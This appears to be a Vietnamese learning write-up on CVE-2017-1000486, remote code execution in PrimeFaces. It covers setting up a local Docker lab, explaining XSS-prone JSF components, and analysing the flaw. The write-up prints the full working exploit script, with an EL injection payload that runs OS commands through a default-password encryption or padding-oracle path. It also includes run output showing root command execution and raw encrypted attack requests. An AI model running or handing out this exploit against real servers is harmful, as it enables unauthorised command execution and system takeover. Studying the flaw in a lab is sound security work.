# CVE-2017-1000486 primefaces
Primefaces <= 5.2.21, 5.3.8 or 6.0 - Remote Code Execution Exploit
## Download
```
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486/
docker build . -t primefaces
docker run -p 8090:8080 -t primefaces
```

## Phân tích
- http://192.168.1.72:8090/


Primefaces -> 5.2
- `POST /ui/ajax/basic.xhtml`


```java
package org.primefaces.showcase.view.ajax;
import javax.faces.bean.ManagedBean;
@ManagedBean
public class BasicView {
private String text;
public String getText() {
return text;
}
public void setText(String text) {
this.text = text;
}
}
```
- `POST /ui/input/editor.xhtm`
Editor bị XSS

```java
package org.primefaces.showcase.view.input;
import javax.faces.bean.ManagedBean;
@ManagedBean
public class EditorView {
private String text;
public String getText() {
return text;
}
public void setText(String text) {
this.text = text;
```




```
<h:form>
<p:editor id="editor" widgetVar="editorWidget" value="#{editorView.text}" width="600" />
<p:commandButton value="Submit" update="display" oncomplete="PF('dlg').show()" />
<p:dialog header="Content" widgetVar="dlg">
<h:outputText id="display" value="#{editorView.text}" escape="false" />
</p:dialog>
</h:form>
```
1. có <p:editor> + escape="false"
```
<h:outputText value="#{editorView.text}" escape="false" />
```
nghĩa là JSF sẽ render trực tiếp HTML từ editorView.text mà không encode ký tự đặc biệt (<, >…).
thì script sẽ chạy → Stored XSS (nếu lưu DB) hoặc Reflected XSS (nếu chỉ giữ trong scope).
👉 Nguyên nhân XSS: chính là escape="false".
2. chỉ <p:inputText> + mặc định escape
```java
<h:form>
<p:inputText id="name" value="#{basicView.text}" />
<p:commandButton value="Submit" update="display" />
<h:outputText id="display" value="#{basicView.text}" />
</h:form>
```
Ở đây, đầu vào là text thuần (<p:inputText>).
Khi hiển thị lại bằng <h:outputText>, mặc định escape="true".
JSF sẽ tự encode ký tự đặc biệt:
- < → ``<``
- ```>``` → ``>``
- " → ``"``
👉 Không bị XSS vì có auto-escape.
- `POST /ui/misc/terminal.xhtml`
```
<h:form>
<p:focus for="terminal" />
<p:terminal id="terminal" widgetVar="term" commandHandler="#{terminalView.handleCommand}"
welcomeMessage="Welcome to PrimeFaces Terminal, how are you today?" />
<p:commandButton type="button" value="Clear" icon="ui-icon-trash" onclick="PF('term').clear()" style="margin-top:10px"/>
</h:form>
```
Cơ chế của <p:terminal>
<p:terminal> mô phỏng một cửa sổ console trên web.
Người dùng nhập lệnh → gọi tới commandHandler="#{terminalView.handleCommand}".
Hàm Java trả về chuỗi String, và PrimeFaces sẽ in trực tiếp chuỗi đó vào UI terminal.
Nhưng mặc định, terminal không escape HTML → tức là nó render raw HTML.


Chuẩn câu hỏi hay 👍. Ở JSF + PrimeFaces, không phải tất cả component đều an toàn như `<h:outputText escape="true">`. Một số component **render thẳng raw HTML/JS** nên dễ dính **XSS** nếu developer không escape hoặc sanitize dữ liệu.
---
## 🔥 Các component dễ bị XSS trong JSF/PrimeFaces
### 1. **JSF core**
* `<h:outputText escape="false">` → in HTML raw.
* `<h:outputFormat>` → nếu dùng `escape="false"` hoặc format chuỗi từ input user.
* `<f:verbatim>` → nhúng raw HTML trực tiếp (rất nguy hiểm).
---
### 2. **PrimeFaces**
* `<p:editor>` → rich text, mặc định render HTML, thường bị XSS nếu không sanitize.
* `<p:terminal>` → như Cường vừa thấy, in raw string từ backend.
* `<p:outputPanel escape="false">` → tương tự `<h:outputText escape="false">`.
* `<p:outputLabel escape="false">` → cũng cho HTML raw.
* `<p:tooltip>` → nếu binding nội dung động từ user input mà không escape.
* `<p:messages>` / `<p:message>` → nếu custom message lấy trực tiếp input user (ví dụ `FacesMessage` chứa chuỗi nguy hiểm).
* `<p:growl>` → tương tự `<p:messages>`, hiển thị raw content nếu không escape.
* `<p:dataTable>` + `escape="false"` trên `<p:column>` → XSS khi hiển thị dữ liệu.
* `<p:commandButton>` / `<p:link>` với `value="#{...}"` nếu escape bị tắt.
* `<p:graphicImage value="#{bean.url}" />` → nếu không validate URL (có thể bị **XSS qua `javascript:` scheme**).
* `<p:remoteCommand>` → binding JS trực tiếp, nếu chèn được payload thì thực thi JS.
---
### 3. **Trường hợp đặc biệt**
* **Converter / Validator messages** → nếu thông báo lỗi lấy từ input user mà không escape.
* **Custom component** → nhiều dev tự viết component render HTML raw, nếu binding data từ bean không escape → XSS.
---
## ✅ Nguyên tắc an toàn
* **Escape mặc định**: luôn dùng escape (trừ khi thật sự cần HTML).
* Nếu cần HTML: **sanitize** với thư viện như
* [OWASP Java HTML Sanitizer](https://github.com/OWASP/java-html-sanitizer)
* Apache Commons Text `StringEscapeUtils.escapeHtml4()` (nếu chỉ cần encode).
* Kiểm tra các chỗ có `escape="false"` hoặc component **rich text output** → đây là "điểm nóng" XSS.
---
👉 Nói ngắn gọn: **mọi component hiển thị text có tùy chọn `escape="false"` hoặc render raw HTML** (editor, terminal, outputPanel, messages, growl, tooltip, datatable column, graphicImage, link/button với value động) đều có thể bị XSS.
---
## RCE trong các plugin nguồn mở của Oracle NetBeans: PrimeFaces 5.x Expression Language Injection
- https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
PrimeFaces là thư viện thành phần Giao diện người dùng (UI) nguồn mở dành cho các ứng dụng dựa trên JavaServer Faces (JSF). Kể từ khi phát hành, PrimeFaces đã được Oracle hỗ trợ mạnh mẽ, đặc biệt là trong thế giới NetBeans .
Các vấn đề bảo mật là các lỗ hổng mật mã cho phép người dùng chưa xác thực chèn mã Ngôn ngữ Biểu thức tùy ý vào trình phân tích cú pháp EL tùy chỉnh của PrimeFaces. Cả hai vấn đề đều có cùng một mục đích: đánh giá biểu thức EL .
- Hai vấn đề mật mã này được gọi là " PrimeSecret " và " PrimeOracle ".
1) PrimeSecret là cụm mật khẩu được hardcode mặc định của PrimeFaces để mã hóa một số tham số như "pfdrid" (bởi Stefano Di Paola).
2) PrimeOracle là việc lạm dụng tấn công Padding Oracle vào thuật toán mật mã nội bộ giải mã một số tham số như "pfdrid" (bởi Giorgio Fedon). Lỗ hổng bảo mật phổ biến nhất cho cả hai vấn đề bảo mật là PrimeFaces Streamed Content Handler thực thi EL nội tuyến:
## Khai thác RCE
```
PS D:\BlueCyber\learn_more\CVE-2017-1000486_primefaces\CVE-2017-1000486> python primefaces.py -h
========================================================================
| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |
| by pimps |
========================================================================
usage: primefaces.py [-h] [-pw PASSWORD] [-pt PATH] [-c CMD] [-poc] [-px PROXY] [-ck COOKIE] [-o ORACLE] [-pl PAYLOAD]
target
positional arguments:
target Target Host
options:
-h, --help show this help message and exit
-pw PASSWORD, --password PASSWORD Primefaces Password (Default = primefaces
-pt PATH, --path PATH Path to dynamiccontent.properties (Default =
/javax.faces.resource/dynamiccontent.properties.xhtml)
-c CMD, --cmd CMD Command to execute. (Default = whoami)
-poc, --poc Use Poc Payload
-px PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (Default = None)
-ck COOKIE, --cookie COOKIE Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None)
-o ORACLE, --oracle ORACLE Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW)
-pl PAYLOAD, --payload PAYLOAD EL Encrypted payload. That function is meant to be used with the Padding Oracle
generated payload. (Default = None)
This script exploits an expression language remote code execution flaw in the Primefaces JSF framework. Primefaces
versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and
default encryption password and salt.
```
```
PS D:\BlueCyber\learn_more\CVE-2017-1000486_primefaces\CVE-2017-1000486> python primefaces.py http://127.0.0.1:8090/
========================================================================
| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |
| by pimps |
========================================================================
[*] Generating payload using default Password...
[*] Generated Encrypted Payload: 4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel/v4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS+3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY+1ZQ/nOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5++TqeD4BGqCZMDjP+ZQvveiUhxsUC/+tPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ+x3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm/7xYP/UwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW+hZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise+bYIYzUDkUtdRV+jCGNI9kbPG5QPhAqp/JBhQ+XsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm/EWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw+xBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q/Eba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R+A2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1+DW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB+czxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH+3eIqRZdkimo980HBzVW4SXHnCMST65/TaIcy6/OXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc+VhgT97imje/KWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV/35yQ+O8DLt0b+jqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k/GdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv+P7wIJbP0i4+QF+PXw5ePKwSwQ9v8rTQ==
[*] Attempting to execute: whoami
POST http://127.0.0.1:8090//javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie:
Content-Length: 1643
Content-Type: application/x-www-form-urlencoded
pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami
[+] Exploit Result:
HTTP/1.1 200
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=7F3AEBDF433799929CA6062A99A384AC; Path=/; HttpOnly
Transfer-Encoding: chunked
Date: Sat, 04 Oct 2025 03:49:44 GMT
root
```



```http
POST /javax.faces.resource/primefaces-mobile.js.xhtml HTTP/1.1
Host: 192.168.1.72:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1639
pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=id
```
```
python primefaces.py http://127.0.0.1:8090/ --proxy http://127.0.0.1:8080
```

```python
from paddingoracle import BadPaddingException, PaddingOracle
import requests
from Crypto.Hash import MD5
from Crypto.Cipher import DES
import base64
import socket
import time
import logging
import argparse
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
requests.packages.urllib3.disable_warnings()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
payload = base64.b64encode(data)
while 1:
try:
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload}
response = self.session.post(self.target, data=post_params, stream=False, timeout=5, verify=False, proxies=self.proxies, headers=self.headers)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...', self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
# An HTTP 500 error was returned, likely due to incorrect padding
if response.status_code == 500:
logging.exception('No padding exception raised on %r', payload)
return
raise BadPaddingException
payloadEL = '${session.setAttribute("scriptfactory",facesContext.getExternalContext().getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance())}'
payloadEL += '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payloadEL += '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payloadEL += '${session.getAttribute("scriptengine").eval('
payloadEL += '"var os = java.lang.System.getProperty(\\"os.name\\");'
payloadEL += 'var proc = null;'
payloadEL += 'os.toLowerCase().contains(\\"win\\")? '
payloadEL += 'proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/C\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start()'
payloadEL += ' : proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"").concat(request.getParameter("cmd")).concat("\\"]).start();'
payloadEL += 'var is = proc.getInputStream();'
payloadEL += 'var sc = new java.util.Scanner(is,\\"UTF-8\\"); var out = \\"\\";'
payloadEL += 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);"))}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().close()}';
payloadELPOC = '${facesContext.getExternalContext().setResponseHeader("TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC","POC_EL_INJECTION")}'
def get_args():
parser = argparse.ArgumentParser( prog="primefaces.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script exploits an expression language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
due to the use of weak crypto and default encryption password and salt.
''')
parser.add_argument("target", help="Target Host")
parser.add_argument("-pw", "--password", default="primefaces", help="Primefaces Password (Default = primefaces")
parser.add_argument("-pt", "--path", default="/javax.faces.resource/dynamiccontent.properties.xhtml", help="Path to dynamiccontent.properties (Default = /javax.faces.resource/dynamiccontent.properties.xhtml)")
parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute. (Default = whoami)")
parser.add_argument("-poc", "--poc", action='store_true', help="Use Poc Payload")
parser.add_argument("-px", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (Default = None)")
parser.add_argument("-ck", "--cookie", default="", help="Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None)")
parser.add_argument("-o", "--oracle", default="0", help="Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW)")
parser.add_argument("-pl", "--payload", default="", help="EL Encrypted payload. That function is meant to be used with the Padding Oracle generated payload. (Default = None) ")
args = parser.parse_args()
return args
"""Mimic Java's PBEWithMD5AndDES algorithm used by Primefaces"""
def encrypt(data, password):
# Padding clear-text using PKCS5 algo
padding = 8 - len(data) % 8
data += chr(padding) * padding
# IV and "iterations count" extracted from primefaces sourcecode
iterations = 19
iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
hasher = MD5.new()
hasher.update(password.encode())
hasher.update(iv)
result = hasher.digest()
for i in range(1, iterations):
hasher = MD5.new()
hasher.update(result)
result = hasher.digest()
cipher = DES.new(result[:8], DES.MODE_CBC, result[8:16])
# BUGFIX: adding .encode() on string to pass a bytearray.
# This modification is needed to work with latest version of pycryptodome
encrypted = cipher.encrypt(data.encode())
print ("[*] Generated Encrypted Payload: " + str(base64.b64encode(encrypted).decode()))
return str(base64.b64encode(encrypted).decode())
def request_to_string(req):
return '{method} {url} HTTP/1.1\n{headers}\n\n{body}'.format(
method=req.method,
url=req.url,
headers='\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
body=req.body,
)
def response_to_string(res):
return 'HTTP/1.1 {status_code}\n{headers}\n\n{body}'.format(
status_code=res.status_code,
headers='\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
body=res.content.decode(),
)
def exploit(target, path, cmd, password, proxy, cookie, payload="", poc_payload=False):
requests.packages.urllib3.disable_warnings()
proxies = {
'http': proxy,
'https': proxy
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*',
'Cookie': cookie
}
if payload == "":
if poc_payload:
payload = encrypt(payloadELPOC, password)
else:
payload = encrypt(payloadEL, password)
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload, 'cmd' : cmd}
print ("[*] Attempting to execute: %s" % cmd)
r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=headers)
print ("\n\n%s\n\n" % request_to_string(r.request))
if r.text:
print ("[+] Exploit Result:\n\n%s\n" % response_to_string(r))
if (poc_payload):
if "TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC" in response_to_string(r):
print ("[+] BANG!!! :D - Target IS VULNERABLE!!!\n")
else:
print ("[-] Target Probably NOT VULNERABLE :-(\n")
else:
print ("[-] Response body empty... Target might not be vulnerable or don't use default password... Try the padding oracle attack.\n\n%s" % response_to_string(r))
def exploit_paddingoracle(target, path, cmd, password, proxy, cookie):
padbuster = PadBuster()
padbuster.proxies = {
'http': proxy,
'https': proxy
}
padbuster.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*',
'Cookie': cookie
}
padbuster.target = target+path
iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
payload = padbuster.encrypt(payloadEL, block_size=8, iv=iv)
print ("[+] Using the following generated payload:\n\n %s" % base64.b64encode(payload))
requests.packages.urllib3.disable_warnings()
proxies = {'http': proxy, 'https': proxy}
post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': base64.b64encode(payload), 'cmd' : cmd}
print ("[*] Attempting to execute: %s" % cmd)
r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=padbuster.headers)
print(r.headers)
if r.text:
print ("[+] Exploit Result:\n\n%s" % response_to_string(r))
else:
print ("[-] Response body empty... Target might not be vulnerable... :-(\n\n%s" % response_to_string(r))
def main():
print ('')
print ('========================================================================')
print ('| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |')
print ('| by pimps |')
print ('========================================================================\n')
args = get_args()
if (args.oracle.strip() == "0"):
if (args.payload.strip() == ""):
print ("[*] Generating payload using default Password...")
else:
print ("[*] Executing the exploit using a given Payload...")
exploit(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip(), args.payload.strip(), args.poc)
else:
print ("[*] Generating payload with Padding Oracle Attack... (SLOW)")
exploit_paddingoracle(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip())
if __name__ == '__main__':
main()
```
Tốt — đoạn script này là **một exploit** (và tiện ích hỗ trợ) cho **CVE-2017-1000486** nhắm vào PrimeFaces. Mình sẽ giải thích rõ từng phần, mục tiêu, cách hoạt động ở mức phân tích (không hướng dẫn thực thi tấn công), rồi nêu cách **phòng chống / phát hiện** cho mục đích bảo vệ.
---
## 1) Mục đích tổng quát
Script cố gắng thực thi **Expression Language (EL) động** trên server PrimeFaces (để chạy lệnh hệ điều hành) bằng cách gửi một payload được **mã hoá** cho endpoint resource `dynamiccontent.properties.xhtml`.
Nó hỗ trợ hai chế độ:
* gửi payload đã mã hoá sẵn (dùng mật khẩu mặc định `primefaces`) — `exploit()`, hoặc
* nếu mật khẩu không phải mặc định, dùng **padding oracle attack** (PadBuster) để tìm cách tạo payload hợp lệ — `exploit_paddingoracle()` (chậm hơn).
Kết quả mong muốn: server giải mã EL, chạy EL để lấy `ScriptEngineManager`, rồi thực thi lệnh OS (tham số `cmd`) và trả output về HTTP response.
---
## 2) Các phần chính của code — phân tích chi tiết
### `payloadEL` và `payloadELPOC`
* `payloadEL`: một EL chain dài — tạo `ScriptEngineManager`, lấy engine JavaScript, đặt writer sang response writer, rồi `eval()` một script JavaScript dùng `request.getParameter("cmd")` để chạy lệnh hệ điều hành (qua `cmd.exe` trên Windows hoặc `/bin/sh -c` trên Linux) và in output. Nói ngắn: **payload muốn thực thi lệnh OS được truyền qua tham số `cmd`**.
* `payloadELPOC`: payload POC đơn giản — nó chỉ cố gắng **thiết lập response header** `"TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC":"POC_EL_INJECTION"` để nhận biết lỗ hổng mà không thực thi lệnh.
> Đây chính là chuỗi EL được mã hóa và gửi tới server để PrimeFaces giải mã & thực thi.
### Hàm `encrypt(data, password)`
* Mô phỏng thuật toán Java **PBEWithMD5AndDES** mà PrimeFaces dùng để mã hoá giá trị.
* Thực hiện padding PKCS#5, tính MD5 theo thuật toán giống Java (iterations = 19, IV cố định), rồi dùng DES-CBC để mã hoá.
* Trả về Base64 của dữ liệu mã hoá — đó là `pfdrid` mà script gửi.
> Tức là script có thể tự tạo payload hợp lệ nếu password còn mặc định (ví dụ `primefaces`), vì thuật toán và IV mặc định được biết.
### Class `PadBuster(PaddingOracle)`
* Kế thừa từ thư viện `paddingoracle` (external) để thực hiện **padding oracle attack** khi password không mặc định.
* `oracle()` gửi request POST tới target với tham số `pfdrid` = base64(payload).
* Dựa trên đáp trả HTTP (ví dụ server trả lỗi 500 khi padding sai), `PadBuster` xác định từng byte của block mã hoá — từ đó xây payload hợp lệ từng block một.
* Sau khi khôi phục ciphertext hợp lệ, attacker có thể đính kèm EL và trigger execution.
> Padding oracle attack là kỹ thuật tinh vi để phá mã CBC nếu server rò rỉ thông tin về lỗi padding (ví dụ khác biệt response khi padding sai).
### `exploit()` và `exploit_paddingoracle()`
* `exploit()` dùng `encrypt()` với password (mặc định `primefaces`) để tạo `pfdrid` rồi POST tới `target + path` (mặc định `/javax.faces.resource/dynamiccontent.properties.xhtml`) với form fields `pfdrt=sc`, `ln=primefaces`, `pfdrid=<payload>`, `cmd=<command>`.
* Nếu POC được dùng, server có thể trả header TESTING... → xác nhận lỗ hổng.
* `exploit_paddingoracle()` dùng PadBuster để tạo payload bằng oracle attack rồi POST payload thu được.
### CLI / argument parsing
Script có các tùy chọn: target, password, path, cmd, proxy, cookie, bật POC hay exploit thực thi, hoặc bật oracle attack (chậm).
---
## 3) Tóm tắt hành vi (một câu)
Script **gửi một ciphertext (pfdrid)** để PrimeFaces giải mã thành EL; nếu EL chạy (server dễ bị cấu hình mặc định), thì attacker có thể thực thi code trên server — đây là **RCE** nguy hiểm. Nếu password không mặc định, script có module thực hiện **padding oracle** để suy ngược ciphertext hợp lệ.
---
## 4) Vì sao đây nguy hiểm
* PrimeFaces (phiên bản cũ) dùng PBEWithMD5AndDES với salt/IV/mật khẩu mặc định ⇒ dữ liệu mã hóa có thể bị giải mã/gian lận.
* EL injection kết hợp ScriptEngine có thể cho phép chạy lệnh OS → RCE mức độ nghiêm trọng cao.
